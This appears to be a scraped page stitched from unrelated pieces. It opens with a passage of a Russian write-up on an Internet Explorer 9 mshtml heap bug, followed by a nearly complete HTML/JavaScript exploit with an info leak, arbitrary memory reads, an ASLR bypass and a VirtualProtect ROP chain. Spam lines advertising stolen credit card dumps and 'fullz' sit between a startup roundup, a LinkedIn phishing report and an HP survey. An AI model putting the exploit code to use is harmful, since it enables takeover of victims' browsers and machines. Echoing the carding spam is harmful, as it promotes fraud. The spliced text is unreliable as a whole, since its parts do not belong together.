Что же произошло? Когда вы установили атрибут, который уже существует, mshtml попросту удалит существующее значение и установит новое (на самом деле, полагаю, что сначала будет добавлено новое значение, а затем удалено старое). Таким образом, мы вызываем ntdll!RtlFreeHeap, используя адрес, которые не относится к куче, вернее к началу кучи и, следовательно, возникает ошибка при освобождении адреса. «И что же», – спросите вы, – «на это все заканчивается?». К счастью, мир не без добрых людей, и есть люди, такие как Бен Хокс (Ben Hawkes) и Крис Валасек (Chris Valasek), которые проделали огромную работу для нас, исследовав большинство возможностей кучи с низкой фрагментацией. Как выясняется, мы можем использовать немного измененную технику Бена для того, чтобы обманом заставить ntdll принять смещенный адрес как легитимный и освободить его. Для этого нам необходимо повнимательнее присмотреться к заголовку блока, который предшествует пользовательскому блоку.
Участкам LFH (или пользовательским блокам) предшествую 8-ми байтовые участки, которые содержат некоторую информацию о состоянии пользовательского блока, его размере и тому подобное. Если взглянуть на RtlpLowFragHeapFree, то все выглядит так, что первый DWord используется для установки размера блока (однако, это значение закодировано). Адрес _HEAP, сам участок и RtlpLFHKey подвергаются операции XOR между собой для того, чтобы задать это значение.
Второй DWord содержит несколько флагов, однако эти поля могут отличаться в зависимости от состояния блока кучи. Нас же интересуют лишь последние два байта. Бен Хокс обнаружил, что если в последний байт установить 0×5, то ntdll переместит заголовок кучи на величину, определяемую предпоследним байтом. Беглый взгляд на код, отвечающий за эти действия в ntdll!RtlpLowFragHeapFree, показывает, что это действительно так:
В регистре edi находится первоначальный заголовок кучи (который берется из edx – 8, где edx – адрес, который мы хотим освободить). Если значение байта [edi+7] равно 0×5, то мы считываем байт [edi+6], умножаем его на размер блока (который равен 8, в случае с 32-битным процессором, инструкция «shl eax, 3») и затем перемещаемся заголовок на эту величину (инструкция sub edi, eax). Затем будет использовать «новый» заголовок кучи для обработки в оставшейся части функции, включая обработку любой закодированной информации.
Таким образом, наш план таков: добавить поддельный заголовок кучи (HeapHeader) перед началом нашей строки, установить значение 8-го байта равным 0×5, а значение 7-го байта таким, чтобы он указывал на корректный заголовок кучи. Ранее мы вычисляли, что указатель BString в heapspray атрибутах указывал на смещение 0x6C внутри таблицы атрибутов элемента body. Текущий участок начинается с 0х68 внутри внешнего выделения памяти. Заголовок кучи для этого блока находится в 0×68/8 = 0xD блоках перед нашим блоком.
Единственная проблема в том, что в текущей ситуации, когда BString указывает на середину массива атрибутов, мы не можем контролировать значения поддельного заголовка кучи. Но это не так страшно, поскольку мы можем освободить массив атрибутов и заменить его на нечто, чем мы можем управлять в достаточной степени. Все что нам нужно сделать – добавить еще один атрибут к правильному элементу body, в результате чего массив атрибутов расширится до 0xD0, оставляя наш первоначальный участок размером 0×90 на повторный захват.
Мы добавим еще один элемент area, установим свойство coords для того, чтобы у нас были правильные значения для поддельной кучи с низкой фрагментаций, а затем удалим смещенную строку. На данный момент у нас есть два пути, и у каждого есть свои плюсы и минусы. Все дело в том, что строка, используемая для атрибутов, выделяется при помощи OLEAUT32!SysAllocString. Об этом рассказал Александр Сотиров (Alexander Sotirov) в своей статье . У OLEAUT32 есть встроенная система кеширования.
Так что же это нам дает? Как я уже говорил, у нас есть два пути:
Оба варианта требуют некоторых приготовлений, однако я в основном буду пользовать первым вариантом, так как считаю его забавнее другого. Если вы решите пойти по второму пути, обратите внимание на следующие нюансы:
Но мы выбрали первый вариант. Вот какие подготовительные шаги нужно предпринять:
Небольшое замечание: даже если вы хотите, чтобы OleAut32 закешировал адрес и не хотите его пропустить через RtlFreeHeap, вам все равно нужно поддельный LFH-заголовок, поскольку oleaut32 вызовет ntdll!RtlSizeHeap, который использует LFH-заголовок для определения размера выделяемого участка памяти.
Какой же объект/информацию мы хотим частично перезаписать? Поскольку мы так много забавлялись с таблицей атрибутов, я решил перезаписать часть этой таблицы, что даст нам достаточно контроля для чтения любого адреса и вызова любой функции, если все сделать правильно. Теоретически мы можем продолжать заменять память, выполняя шаги, описанные выше, однако всегда существует риск наступления хаоса, если мы выделяем столь большое количество участков и освобождаем их. Так вот, мы будем перезаписывать таблицу атрибутов данными, которые установлены в одном из атрибутов, относящегося к типу 0xC (это вариантный тип) и добавим указатель на подконтрольную нам память. Как только мы сделаем это, нам не нужно будет изменять первоначальный массив атрибутов. Мы можем просто изменить память, на которую ссылается вариантный тип и установить туда все, что нам заблагорассудится.
Таким образом, мы ищем кусок памяти размером приблизительно в 0×10 байт (именно столько нужно для хранения вариантного типа), которым мы можем манипулировать без дополнительного выделения и освобождения участков памяти. Эта задача имеет множество решений, но я буду использовать AnchorElement («<A>»). Как и элемент area, у AnchorElement есть свойство «coords», однако оно принимает только 4 значения и хранит их внутри объекта. Если мы изменим свойство coords у AnchorElement, то не произойдет дополнительного выделения и освобождения участка памяти. Кроме того, все четыре значения будут храниться в участке размером в 0×10 байт, что вполне нас устраивает.
Возможно, вы задаетесь вопросом о том, как мы будем искать элемент «A» в памяти? Очень просто. Мы добавим этот элемент к ранее слитому элементу body. Это нам даст адрес кучи элемента «A», что вполне достаточно для того, чтобы узнать, где хранятся значения свойства coords (смещение 0x50 от базы элемента «A» в версии mshtml, которую мы используем). Однако существуют некоторые ограничения при использовании этого метода, поскольку те координаты, которые вы заносите «упорядочиваются» по размеру. Но поскольку нам необходимы эти значения только вначале, а третье и первое значение (которое описывает вариантный тип) могут быть не ниже 0x0001XXXX, то мы можем прочитать любой участок памяти выше этого значения.
Установив поддельный вариантный тип как целочисленное значение и флаг для «VariantByRef (0×40)» мы можем прочитать целочисленные значения из адреса, определенного нами в третьей координате. Вероятно, вы можете прочитать целые массивы целочисленных значений, но я не исследовал этот вопрос. Следует помнить о том, что значение, возвращаемое javascript, является строкой, а не числом, поэтому перед использованием необходимо преобразовать возвращаемое значение при помощи функции parseInt().
Значение хеша (hashvalue) имени атрибута мы узнаем во время повторного чтения слитой информации.
Значение слитого адреса из mshtml.dll и возможность считать любой адрес в памяти позволяет нам найти начальный адрес mshtml.dll. Мы можем сделать это, взяв слитый адрес и выполнив операцию AND со значением 0xFFFF0000, после чего постепенно уменьшая полученное значение на 0×10000 и сравнивая его с «MZ» мы найдем начальный адрес mshtml.dll. Как только адрес найден, мы можем парсить структуру PE-файла, чтобы получить таблицу импортов и захватить адрес Kernel32.dll. После этого мы парсим Kernel32.dll, чтобы получить адрес ntdll.dll. Полученной информации будет достаточно для создания ROP-цепи.
Если вы хотите управлять потоком выполнения после раскрытия памяти и обхода ASLR, то существует простой способ, когда вы устанавливаете в вариантный атрибут тип VT_DISPATCH (0×09). После этого oleaut32 вызовет ExtractValueProperty, когда вы попытаетесь снова считать атрибут. Эта функция содержит вызов виртуальной функции, который берется из поддельного атрибута (регистр eax).
Ну вот, теперь настало время преобразовать все наши рассуждения в рабочий код. Ниже представлен (почти) полностью рабочий эксплоит, созданный для mshtml версии 9.0.8112.16446, kernel32 версии 6.1.7601.17651 и ntdll версии 6.1.7601.17725.
Поскольку вы можете раскрывать память, то можно модифицировать этот эксплоит и для других версий модулей до тех пор, пока mshtml.dll не будет пропатчена от этой уязвимости.
<!doctype html>
<HTML>
<head>
<script>
lfh = new Array(20);
for(i = 0; i < lfh.length; i++) {
lfh[i] = document.createElement(‘div’);
lfh[i].className =
“AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA”;
}
function setinput() {
try { document.write(‘Timber’); } catch(e) {}
// I used 2 area element to make sure we reoccupy freed memory (there is a reason behind this that doesnt fit on this page)
d = document.createElement(‘area’);
d.shape = “poly”
// Our BString pointer is located at: 0x12010020 + 0x8
// We want to INCrement 0x12010020 + 0x8 + 1 to add 0x100 and not 0x1
// The code does: inc dword ptr [esi+0A0h] so we need to substract 0xAO from the values leaving 0x1200FF89 which is 302055305 decimal
d.coords =
“1,2,302055305,4,5,0,7,8,9,10,11,12,13,14,13,16,17,18,19,2147353180,21,22,23,24,25,26,27,28,
29,30,31,32,33,34,35,1,37,38,39,40,41,42,43,44,45,46,47,48”;
d2 = document.createElement(‘area’);
d2.shape = “poly”
d2.coords =
“1,2,302055305,4,5,0,7,8,9,10,11,12,13,14,13,16,17,18,19,2147353180,21,22,23,24,25,26,27,28,29,
30,31,32,33,34,35,1,37,38,39,40,41,42,43,44,45,46,47,48”;
a = document.createElement(“div”);
a.clearAttributes()
//Step 1
for(i = 0; i < 0x7ffe; i++) {
a.setAttribute(“attr” + i, null);
}
mem = new Array(400);
// Step 2
for(i = 0; i < mem.length; i++) {
mem[i] = a.cloneNode(1);
}
bodies = new Array()
// Step 3
for(j = 0; j < mem.length; j++) {
for(i = 0; i < 0x7ffe; i += 0x1000) {
// Step 3.1
mem[j].setAttribute(“attr” + i,
“AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAA”);
// Step 3.2
b = document.createElement(‘body’);
b.title = ‘a’;
b.id = ‘a’;
b.text = ‘a’
b.bgColor = 1
b.topMargin = 1
b.bottomMargin = 1
b.leftMargin = 1
b.rightMargin = 4
b.setAttribute(‘extra’, bodies.length) // This will actualy give us the index of the body element we are leaking.
bodies.push(b);
}
}
// Saving the attributes so Garbage Collection wont kill them accidentally
document.body.setAttribute(‘mem’, mem)
document.body.setAttribute(‘bodies’, bodies)
return true
}
function loaded() {
document.getElementsByTagName(‘input’)[0].attachEvent(“onbeforeeditfocus”, setinput)
// Step 4
document.getElementsByTagName(‘input’)[0].focus();
Found = false
// Step 6
for(j = 0; j < mem.length; j++) {
for(i = 0; i < 0x7ffe ; i += 0x1000) {
//Step 7
if(mem[j].getAttribute(“attr” + i).length != 0x45) {
Found = true
data = mem[j].getAttribute(“attr” + i)
//Step 9
LeakInfo = “Size of the attribute is = ” + data.length + ”
“;
LeakInfo += “Raw data:
”
LeakInfo += escape(data) + ”
“;
mshtmlAddress = data.charCodeAt(4) + data.charCodeAt(5) * 0x10000
LeakInfo += “Address of mshtml code is 0x” + mshtmlAddress.toString(16) + ”
“;
bodyindex = data.charCodeAt(14) + data.charCodeAt(15) * 0x10000
LeakInfo += “Index of the leaked body = 0x” + bodyindex.toString(16);
VariantAnchor = document.createElement(‘a’);
bodies[bodyindex].setAttribute(‘extra’, VariantAnchor);
data = mem[j].getAttribute(“attr” + i)
VariantAnchorAddress = data.charCodeAt(14) + data.charCodeAt(15) * 0x10000
LeakInfo += ”
Heap Address of the Anchor = 0x” + VariantAnchorAddress.toString(16);
alert(LeakInfo);
//Adding more attributes frees the 0x90 allocation since it now needs 0xD0 memory.
bodies[bodyindex].setAttribute(‘beGone’, 1);
FakeLFH = document.createElement(‘area’); // to replace the now freed 0x90
FakeLFH.shape = “poly”
// Values set to contain a ‘correct’ LFH header at the right location
FakeLFH.coords = “1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,84738048,26,27,28,29,30,31,32,33,34”;
//To keep the number of allocation between adding our misaligned address to the cache and re-using it we will do as much as possible at this point.
AlteredBody = document.createElement(‘body’);
AlteredBody.title = ‘a’;
AlteredBody.id = ‘a’;
AlteredBody.text = ‘a’
AlteredBody.topMargin = 1
AlteredBody.bottomMargin = 1
AlteredBody.rightMargin = 1
// We have 6 attributes, adding any more will make it jump to a 0x90 sized allocation
//Get the address of our ‘A’ element as a string value, specifically offset 0x50 of the ‘A’ which contains the .coords values
VariantAnchorAddressStr = String.fromCharCode((VariantAnchorAddress+0x50) % 0x10000, (VariantAnchorAddress+0x50) / 0x10000);
//this will be: random + VariantType + ‘extra’ HashNo + Value + random + enough data
//If you are smart you actually add the correct LFH Header between this and the next allocation you are actually overwriting.
newdata = “AA” + “\u0C01\u8000” + data.charAt(12) + data.charAt(13) + VariantAnchorAddressStr +
“\u4242\u4242AAAAAAAABBBBBBBBBBBBBBBBBBBBBBBBBBBBBB”;
//Allocating some small strings will re-use the potential cache leaving some room for our misaligned address to fit into the cache as well.
//This is not the perfect way but it will suffice for this demo
NumCached = 6;
for(k = 0; k < NumCached; k++) {
FakeLFH.setAttribute(“cache” + k, new Array(0x40/2).join(“A”));
}
//Freeing this will add the misaligned address to the OLEAUT32 cache, but the address is still marked as busy in the heap manager
mem[j].setAttribute(“attr” + i, null)
// This will make the 0x90 allocation available again
FakeLFH.coords = null;
//now we occupy a 0x90 sized allocation.
AlteredBody.leftMargin = 2;
AlteredBody.setAttribute(‘extra’, 1);
// create a few strings containing the correct data. The 2nd one will actually overwrite the attribute data. Has to do with the way we create our strings.
for(k = 0; k < NumCached; k++) {
FakeLFH.setAttribute(“re-use” + k, newdata);
}
//Start reading memory.
mshtmlBase = getModuleBase(VariantAnchor, AlteredBody, mshtmlAddress)
kernel32 = getImportedModule(VariantAnchor, AlteredBody, mshtmlBase, “kernel32.dll”);
ntdll = getImportedModule(VariantAnchor, AlteredBody, kernel32, “ntdll.dll”);
alert(“mshtml base at 0x” + mshtmlBase.toString(16) + ”
kernel32 base at 0x” + kernel32.toString(16) + ”
ntdll base at 0x” + ntdll.toString(16));
//Time to bypass DEP with the information we learned.
//ROP chain goes here, stack pivot at offset 0x18. mov ecx, [eax]; call [ecx+0x18];
//Annoying thing is that we cant just do ‘xchg eax, esp ; retn’ because we need the value of ecx to be at [eax]
//I couldnt find a realy clean way to mov ecx into esp. so the end result is somewhat dirty but effective. See below.
//We like to know the heap address of the ROP chain before we create the ROP chain so it can containing its own address
//There are only a few ways to allocate memory that you can actually alter without causeing the allocation to be freed and recreated (this happens with almost all strings)
//Using the image data will work.
ctx = document.createElement(‘canvas’).getContext(‘2d’);
img = ctx.createImageData(0x100, 1); //that should be enough for now
VariantAnchor.setAttribute(‘ropchain’, img)
//grab the location of the image data from the VariantAnchor Attribute table. (((VariantAnchor+10)+8)+28)+2C)
roploc = readDword(VariantAnchor, AlteredBody, VariantAnchorAddress + 0x10)
roploc = readDword(VariantAnchor, AlteredBody, roploc + 0x8)
roploc = readDword(VariantAnchor, AlteredBody, roploc + 0x28)
roploc = readDword(VariantAnchor, AlteredBody, roploc + 0x2C)
alert(“Location of ROP Chain = 0x” + roploc.toString(16));
//Setting up the ROP chain
createRopChain(img, roploc, kernel32, ntdll);
//Using a VariantType 0x09 Dispatch will trigger a call [ecx+18] with ECX taken from our fake variant data.
VariantAnchor.coords = 0x00010009 + “,” + 1 + “,” + roploc + “,” + 1;
AlteredBody.getAttribute(‘extra’)();
}
if(Found) break; //prevent crash from overwritten string size
}
if(Found) break; //prevent crash from overwritten string size
}
}
function getModuleBase(a, f, b) {
//look for word value MZ at every 0x10000 byte downwards
b = b & 0xFFFF0000
d = readWord(a, f, b)
while(d != 0x5a4d) {
b -= 0x10000;
d = readWord(a, f, b)
}
return b;
}
function getImportedModule(a, f, base, modName) {
//some shortcuts taken here, but MS modules all behave nicely when it comes to PE headers so should be fine for those modules.
e_lfanew = readWord(a, f, base + 0x3C)
importTable = readDword(a, f, base + e_lfanew + 0x80)
var i = 0;
while(i < 10) { //only parsing 10 imported modules, change this if you need something more exotic
//read up on PE File headers if you wonder whats going on here.
moduleNameAddr = readDword(a, f, base + importTable + (i * 0x14) + 0xC)
moduleName = readString(a, f, base + moduleNameAddr);
moduleName = moduleName.toLowerCase();
if(moduleName == modName.toLowerCase()) {
importRVA = readDword(a, f, base + importTable + (i * 0x14) + 0x10);
SomeFunctionAddr = readDword(a, f, base + importRVA);
ModBase = getModuleBase(a, f, SomeFunctionAddr)
return ModBase
}
i += 1;
}
return;
}
function readDword(a, f, addr) {
//Variant type 0x13 with 0x4000 being ‘ByRef’
//Setting up the fake Variant values
//XXXX4013 YYYYYYYY DATAPTR YYYYYYYY
a.coords = 0x00014013 + “,” + 1 + “,” + addr + “,” + 1;
return parseInt(f.getAttribute(‘extra’));
}
function readWord(a, f, addr) {
//Variant type 0x12 with 0x4000 being ‘ByRef’
a.coords = 0x00014012 + “,” + 1 + “,” + addr + “,” + 1;
return parseInt(f.getAttribute(‘extra’));
}
function readString(a, f, addr) {
// For some reason we cant convert an 0x1F variant type to type 0x8 (used in javascript) so we will just read it as UI4 and convert from there.
done = false
result = ”;
while(!done) {
a.coords = 0x00014013 + “,” + 1 + “,” + addr + “,” + 1;
val = parseInt(f.getAttribute(‘extra’));
//should give us 4 bytes.
for(i = 0; i < 4; i++) {
bytecode = (val >> (i * 8)) & 0xFF;
if(bytecode == 0) {
done = true;
break;
}
else {
result += String.fromCharCode(bytecode);
}
}
addr += 4;
}
return result;
}
function createRopChain(imgd, address, kernel32, ntdll) {
data = imgd.data;
writeDword(imgd, 0, address – 0x14) // mov ecx, [eax] //this frustrates our stack pivot slightly. Or we should pivot on ECX
// control comes through call [ecx+0x18]
writeDword(imgd, 0x4, ntdll + 0x550C8);// xchg eax,esp ; add [eax],eax ; pop edi ; pop esi ; pop ebp ; retn 0x0C
writeDword(imgd, 0xC, kernel32 + 0x110c8); // VirtusalProtect (you should look this up in the export table, not use hard coded stuff.
Same goes for pivot.)
writeDword(imgd, 0x1C, address + 0x30); // retn address after VirtualProtect
writeDword(imgd, 0x20, address); // address parameter for VirtualProtect
writeDword(imgd, 0x24, 0x4000); // size parameter
writeDword(imgd, 0x28, 0x40); // RWX protect
writeDword(imgd, 0x2c, address + 0x8); // Can safely write here
writeDword(imgd, 0x30, 0xCCCCCCCC); // Shellcode …
}
function writeDword(imgd, offset, value) {
data = imgd.data;
data[offset + 0] = value & 0xFF
data[offset + 1] = value >> 8 & 0xFF
data[offset + 2] = value >> 16 & 0xFF
data[offset + 3] = value >> 24 & 0xFF
}
</script>
</head>
<body onload=”loaded();”>
<input value=”mydata” type=”text”></input>
</body>
</html>
После запуска получаем следующее сообщение:
(914.1f4): Break instruction exception – code 80000003 (first chance)
eax=00000001 ebx=00000000 ecx=446f0000 edx=0275e148 esi=772350c8 edi=161b985c
eip=161b98a0 esp=161b98a0 ebp=00000000 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
161b98a0 cc int 3
1:020> !address esp
Usage: Heap
Base Address: 161b9000
End Address: 161be000
Region Size: 00005000
State: 00001000 MEM_COMMIT
Protect: 00000040 PAGE_EXECUTE_READWRITE
Type: 00020000 MEM_PRIVATE
Allocation Base: 16160000
Allocation Protect: 00000004 PAGE_READWRITE
More info: heap owning the address: !heap 0x160000
More info: heap segment
More info: heap entry containing the address: !heap -x 0x161b98a0
Мы закончили! При помощи инкремента одного байта памяти мы захватили весь процесс!
В статье мы расскажем о наиболее интересных стартапах в области кибербезопасности, на которые следует обратить внимание.
Хотите узнать, что происходит нового в сфере кибербезопасности, – обращайте внимание на стартапы, относящиеся к данной области. Стартапы начинаются с инновационной идеи и не ограничиваются стандартными решениями и основным подходом. Зачастую стартапы справляются с проблемами, которые больше никто не может решить.
Обратной стороной стартапов, конечно же, нехватка ресурсов и зрелости. Выбор продукта или платформы стартапа – это риск, требующий особых отношений между заказчиком и поставщиком . Однако, в случае успеха компания может получить конкурентное преимущество или снизить нагрузку на ресурсы безопасности.
Ниже приведены наиболее интересные стартапы (компании, основанные или вышедшие из «скрытого режима» за последние два года).
Компания Abnormal Security, основанная в 2019 году, предлагает облачную платформу безопасности электронной почты, которая использует анализ поведенческих данных для выявления и предотвращения атак на электронную почту. Платформа на базе искусственного интеллекта анализирует поведение пользовательских данных, организационную структуру, отношения и бизнес-процессы, чтобы выявить аномальную активность, которая может указывать на кибератаку. Платформа защиты электронной почты Abnormal может предотвратить компрометацию корпоративной электронной почты, атаки на цепочку поставок , мошенничество со счетами, фишинг учетных данных и компрометацию учетной записи электронной почты. Компания также предоставляет инструменты для автоматизации реагирования на инциденты, а платформа дает облачный API для интеграции с корпоративными платформами, такими как Microsoft Office 365, G Suite и Slack.
Копания Apiiro вышла из «скрытого режима» в 2020 году. Ее платформа devsecops переводит жизненный цикл безопасной разработки «от ручного и периодического подхода «разработчики в последнюю очередь» к автоматическому подходу, основанному на оценке риска, «разработчики в первую очередь», написал в блоге соучредитель и генеральный директор Идан Плотник . Платформа Apiiro работает, соединяя все локальные и облачные системы управления версиями и билетами через API. Платформа также предоставляет настраиваемые предопределенные правила управления кодом. Со временем платформа создает инвентарь, «изучая» все продукты, проекты и репозитории. Эти данные позволяют лучше идентифицировать рискованные изменения кода.
Axis Security Application Access Cloud – облачное решение для доступа к приложениям , построенное на принципе нулевого доверия. Он не полагается на наличие агентов, установленных на пользовательских устройствах. Поэтому организации могут подключать пользователей – локальных и удаленных – на любом устройстве к частным приложениям, не затрагивая сеть или сами приложения. Axis вышла из «скрытого режима» в 2020 году.
BreachQuest, вышедшая из «скрытого режима» 25 августа 2021 года, предлагает платформу реагирования на инциденты под названием Priori. Платформа обеспечивает большую наглядность за счет постоянного отслеживания вредоносной активности. Компания утверждает, что Priori может предоставить мгновенную информацию об атаке и о том, какие конечные точки скомпрометированы после обнаружения угрозы.
Cloudrise предоставляет услуги управляемой защиты данных и автоматизации безопасности в формате SaaS. Несмотря на свое название, Cloudrise защищает как облачные, так и локальные данные. Компания утверждает, что может интегрировать защиту данных в проекты цифровой трансформации. Cloudrise автоматизирует рабочие процессы с помощью решений для защиты данных и конфиденциальности. Компания Cloudrise была запущена в октябре 2019 года.
Cylentium утверждает, что ее технология кибер-невидимости может «скрыть» корпоративную или домашнюю сеть и любое подключенное к ней устройство от обнаружения злоумышленниками. Компания называет эту концепцию «нулевой идентичностью». Компания продает свою продукцию предприятиям, потребителям и государственному сектору. Cylentium была запущена в 2020 году.
Компания Deduce , основанная в 2019 году, предлагает два продукта для так называемого «интеллектуального анализа личности». Служба оповещений клиентов отправляет клиентам уведомления о потенциальной компрометации учетной записи, а оценка риска идентификации использует агрегированные данные для оценки риска компрометации учетной записи. Компания использует когнитивные алгоритмы для анализа конфиденциальных данных с более чем 150 000 сайтов и приложений для выявления возможного мошенничества. Deduce заявляет, что использование ее продуктов снижает ущерб от захвата аккаунта более чем на 90%.
Автоматизированная платформа безопасности и соответствия Drata ориентирована на готовность к аудиту по таким стандартам, как SOC 2 или ISO 27001. Drata отслеживает и собирает данные о мерах безопасности, чтобы предоставить доказательства их наличия и работы. Платформа также помогает оптимизировать рабочие процессы. Drata была основана в 2020 году.
FYEO – это платформа для мониторинга угроз и управления доступом для потребителей, предприятий и малого и среднего бизнеса. Компания утверждает, что ее решения для управления учетными данными снимают бремя управления цифровой идентификацией. FYEO Domain Intelligence («FYEO DI») предоставляет услуги мониторинга домена, учетных данных и угроз. FYEO Identity будет предоставлять услуги управления паролями и идентификацией, начиная с четвертого квартала 2021 года. FYEO вышла из «скрытого режима» в 2021 году.
Kronos – платформа прогнозирующей аналитики уязвимостей (PVA) от компании Hive Pro , основанная на четырех основных принципах: предотвращение, обнаружение, реагирование и прогнозирование. Hive Pro автоматизирует и координирует устранение уязвимостей с помощью единого представления. Продукт компании Artemis представляет собой платформу и услугу для тестирования на проникновение на основе данных. Компания Hive Pro была основана в 2019 году.
Израильская компания Infinipoint была основана в 2019 году. Свой основной облачный продукт она называет «идентификация устройства как услуга» или DIaaS , который представляет собой решение для идентификации и определения положения устройства. Продукт интегрируется с аутентификацией SSO и действует как единая точка принуждения для всех корпоративных сервисов. DIaaS использует анализ рисков для обеспечения соблюдения политик, предоставляет статус безопасности устройства как утверждается, устраняет уязвимости «одним щелчком».
Компания Kameleon , занимающаяся производством полупроводников, не имеет собственных фабрик и занимает особое место среди поставщиков средств кибербезопасности. Компания разработала «Блок обработки проактивной безопасности» (ProSPU). Он предназначен для защиты систем при загрузке и для использования в центрах обработки данных, управляемых компьютерах, серверах и системах облачных вычислений. Компания Kameleon была основана в 2019 году.
Облачная платформа безопасности данных Open Raven предназначена для обеспечения большей прозрачности облачных ресурсов. Платформа отображает все облачные хранилища данных, включая теневые облачные учетные записи, и идентифицирует данные, которые они хранят. Затем Open Raven в режиме реального времени отслеживает утечки данных и нарушения политик и предупреждает команды о необходимости исправлений. Open Raven также может отслеживать файлы журналов на предмет конфиденциальной информации, которую следует удалить. Компания вышла из «скрытого режима» в 2020 году.
Компания Satori, основанная в 2019 году, называет свой сервис доступа к данным “DataSecOps”. Целью сервиса является отделение элементов управления безопасностью и конфиденциальностью от архитектуры. Сервис отслеживает, классифицирует и контролирует доступ к конфиденциальным данным. Имеется возможность настроить политики на основе таких критериев, как группы, пользователи, типы данных или схема, чтобы предотвратить несанкционированный доступ, замаскировать конфиденциальные данные или запустить рабочий процесс. Сервис предлагает предварительно настроенные политики для общих правил, таких как GDPR , CCPA и HIPAA .
Компания Scope Security недавно вышла из «скрытого режима», будучи основана в 2019 году. Ее продукт Scope OmniSight нацелен на отрасль здравоохранения и обнаруживает атаки на ИТ-инфраструктуру, клинические системы и системы электронных медицинских записей . Компонент анализа угроз может собирать индикаторы угроз из множества внутренних и сторонних источников, представляя данные через единый портал.
Основным продуктом Strata является платформа Maverics Identity Orchestration Platform . Это распределенная мультиоблачная платформа управления идентификацией. Заявленная цель Strata – обеспечить согласованность в распределенных облачных средах для идентификации пользователей для приложений, развернутых в нескольких облаках и локально. Функции включают в себя решение безопасного гибридного доступа для расширения доступа с нулевым доверием к локальным приложениям для облачных пользователей, уровень абстракции идентификации для лучшего управления идентификацией в мультиоблачной среде и каталог коннекторов для интеграции систем идентификации из популярных облачных систем и систем управления идентификацией. Strata была основана в 2019 году.
SynSaber , запущенная 22 июля 2021 года, предлагает решение для мониторинга промышленных активов и сети. Компания обещает обеспечить «постоянное понимание и осведомленность о состоянии, уязвимостях и угрозах во всех точках промышленной экосистемы, включая IIoT, облако и локальную среду». SynSaber была основана бывшими лидерами Dragos и Crowdstrike.
Traceable называет свой основной продукт на основе искусственного интеллекта чем-то средним между брандмауэром веб-приложений и самозащитой приложений во время выполнения. Компания утверждает, что предлагает точное обнаружение и блокирование угроз путем мониторинга активности приложений и непрерывного обучения, чтобы отличать обычную активность от вредоносной. Продукт интегрируется со шлюзами API. Traceable была основана в июле 2020 года.
Компания Wiz, основанная командой облачной безопасности Microsoft, предлагает решение для обеспечения безопасности в нескольких облаках, рассчитанное на масштабную работу. Компания утверждает, что ее продукт может анализировать все уровни облачного стека для выявления векторов атак с высоким риском и обеспечивать понимание, позволяющее лучше расставлять приоритеты. Wiz использует безагентный подход и может сканировать все виртуальные машины и контейнеры. Wiz вышла из «скрытого режима» в 2020 году.
Работает на CMS “1С-Битрикс: Управление сайтом”
dark web credit card dumps working fullz

Here, have a cookie! See our Privacy Policy to learn more.
Scammers are using shortened LinkedIn URLs to disguise phishing links, according to Jeremy Fuchs at Avanan. LinkedIn automatically shortens links that are longer than 26 characters. The URL is shortened to a “lnkd.in” link followed by several characters. Attackers are abusing this feature to avoid detection by users and security filters.
Avanan spotted a phishing email that states, “Good afternoon. We are having a general upgrade on our new system data for 2021, and we’ll be needing your aid to rectify the missing info below so we can deliver more accurate and reliable service.” Ironically, the bottom of the email contains a warning that email fraud is on the rise, urging users to validate the source before interacting with an email.
If a user clicks on the shortened link, they’ll be sent through several redirects before landing on a phishing page that asks them to download a PDF. By using a shortened link from a legitimate service, users are less likely to be suspicious. Using multiple redirects through harmless sites helps to fool security technologies that check for phishing pages.
“This particular email can target anyone,” Fuchs says. “Though it presents itself as a standard credential harvesting and invoice scheme, the use of a LinkedIn URL may mean that any profession—the market for LinkedIn—could click. Plus, more employees have access to billing and invoice information, meaning that a spray-and-pray campaign can be effective. Whether it’s the “lnkd.in” form or the https://www.linkedin[.]com/slink?code=aB-cDeF variation, the idea is to create a link that contains a clean page, redirecting to a phishing page.”
Avanan notes that LinkedIn is among the top ten most impersonated brands in phishing attacks, so users should be on the lookout for these types of scams. New-school security awareness training can give your employees a healthy sense of suspicion so they can avoid falling for stealthy phishing attacks.
Avanan has the story .
Would your users fall for convincing phishing attacks? Take the first step now and find out before bad actors do. Plus, see how you stack up against your peers with phishing Industry Benchmarks. The Phish-prone percentage is usually higher than you expect and is great ammo to get budget.
 
diamond cvv dumps gift card dumps

HP New Zealand IT Security has publicly revealed that 45% of New Zealand’s companies are not ready to face the security challenges, as they are using ineffective endpoint protection software, especially with the growth of telecommuting. In their study, only 50% of the firms are satisfactorily ready in an event of IT security troubles.
The study was conducted by HP with 434 New Zealand-based companies, they occupy all the categories with regards to the size of business establishment, from Small & Medium Enterprises to Multinational corporations. They are also representing many industries from logistics, distribution, education, healthcare, services, and production.
Identifying the weakness of New Zealand-based company are needed for both the government and the private sector to help each other in the form of incident management and policy-making which can lower the cases of a company getting hacked or phished.
“The consequences of a data breach are severe; from financial to brand and reputation damage. Organizations need to be vigilant about implementing processes that regularly monitor, detect and report data breaches . Running regular risk assessments and managing your endpoint security is critical in keeping businesses data safe,” explained Grant Hopkins, HP New Zealand’s Managing Director.
Like the rest of the world, New Zealand has been experiencing an enormous growth of the use of technology, the mobile device revolution brought about by Android and iOS and the birth of Internet-of-Things. To add to the complexity is the fact that not all companies in the country that allows telecommuting use a secure platform for remote connection. Only 42% of telecommunity-enabled companies have an adequate system for secure connection, like using mainstream VPN solutions.
Being a printer company, HP is also interested in how secure the printers installed in New Zealand, and in 65% have somewhat lack enough security procedures in order to prevent vulnerability exploits.
Printers that have an old version of firmware are a gateway for introducing insecurity to an otherwise secure network. “Endpoint security – at the device level – is critical. Organizations tend to rely solely on third-party software security to protect their devices when, in reality, stronger and better business security must be integrated into the device itself. With hackers able to bypass traditional network perimeter security and antivirus programs, it’s time to scrutinize a hardware’s security as closely, if not more, than our external security solutions,” added Hopkins.
